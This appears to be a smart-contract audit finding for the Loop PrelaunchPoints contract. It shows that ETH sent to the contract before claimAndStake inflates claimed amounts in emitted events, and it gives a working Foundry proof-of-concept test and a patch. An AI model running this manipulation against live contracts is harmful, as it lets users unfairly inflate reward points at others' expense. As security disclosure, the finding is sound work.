# Staking users can emit any valued Claimed and StakedVault events, which may disrupt point calculation.
## Impact
Users can send ETH to the contract before calling the claim function or claimAndStake, causing them to be converted to lqETH through the contract, triggering incorrect Claimed and claimAndStake events, which may allow them to earn more points.

## Proof of Concept
The reasons for this issue are:

1. The _claim function converts all ETH in the contract to lqETH.
2. Users can claim tokens other than ETH multiple times.
github:[https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262](https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262)
```solidity
        claimedAmount = address(this).balance;
        lpETH.deposit{value: claimedAmount}(_receiver);
```

Due to the lack of visibility into the specific process of point calculation, the POC can only be reflected in the anomalies of events.

POC:
1. Bob locked 1 token (other than ETH and WETH).
2. During the claim process, Bob twice sent a large amount of ETH (5e18) to the contract before calling the claimAndStake function.
3. Upon inspecting the events, it was discovered that both claimed events had a claimedAmount of 5e18.
```solidity
function testContralEvent() public {
    ERC20 DAI = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    prelaunchPoints.allowToken(address(DAI));

    address Bob = makeAddr("Bob");

    uint lockAmount = 100;
    vm.deal(Bob, 10e18);
    deal(address(DAI), Bob, 1);

    vm.startPrank(Bob);
    DAI.approve(address(prelaunchPoints), 1);
    prelaunchPoints.lock(address(DAI), 1, referral);
    assertEq(prelaunchPoints.balances(Bob, address(DAI)), 1);
    vm.warp(1);
    vm.stopPrank();

    prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
    vm.warp(
        prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1
    );
    prelaunchPoints.convertAllETH();

    vm.warp(prelaunchPoints.startClaimDate() + 1);

    vm.startPrank(Bob);
    for (uint i = 0; i < 2; i++) {
        bytes memory path = abi.encodePacked(address(DAI), WETH);
        bytes memory data = abi.encodeWithSelector(
            prelaunchPoints.UNI_SELECTOR(),
            path,
            0,
            0,
            address(prelaunchPoints)
        );
        address(prelaunchPoints).call{value: 5e18}("");
        prelaunchPoints.claimAndStake(
            address(DAI),
            0,
            PrelaunchPoints.Exchange.UniswapV3,
            data
        );
    }
    vm.stopPrank();
}
```
## Tools Used
Manual audit,foundry
## Recommended Mitigation Steps
Use the balance obtained from the swap as the input for the deposit.
```solidity
function _fillQuote(
    IERC20 _sellToken,
    uint256 _amount,
    bytes calldata _swapCallData
-    ) internal{
+    ) internal returns(boughtETHAmount){
    // Track our balance of the buyToken to determine how much we've bought.
-        uint256 boughtETHAmount = address(this).balance;
+        boughtETHAmount = address(this).balance;
    require(_sellToken.approve(exchangeProxy, _amount));

    (bool success, ) = payable(exchangeProxy).call{value: 0}(_swapCallData);
    if (!success) {
        revert SwapCallFailed();
    }

    // Use our current buyToken balance to determine how much we've bought.
    boughtETHAmount = address(this).balance - boughtETHAmount;
    emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
}

```
```solidity
function _claim(
    address _token,
    address _receiver,
    uint8 _percentage,
    Exchange _exchange,
    bytes calldata _data
) internal returns (uint256 claimedAmount) {
    uint256 userStake = balances[msg.sender][_token];
    if (userStake == 0) {
        revert NothingToClaim();
    }
    if (_token == ETH) {
        claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
        balances[msg.sender][_token] = 0;
        lpETH.safeTransfer(_receiver, claimedAmount);
    } else {
        uint256 userClaim = (userStake * _percentage) / 100;
        _validateData(_token, userClaim, _exchange, _data);
        balances[msg.sender][_token] = userStake - userClaim;

        // At this point there should not be any ETH in the contract
        // Swap token to ETH
-            _fillQuote(IERC20(_token), userClaim, _data);
+            claimedAmount = _fillQuote(IERC20(_token), userClaim, _data);
        // Convert swapped ETH to lpETH (1 to 1 conversion)
-            claimedAmount = address(this).balance;
        lpETH.deposit{value: claimedAmount}(_receiver);
    }
    emit Claimed(msg.sender, _token, claimedAmount);
}

```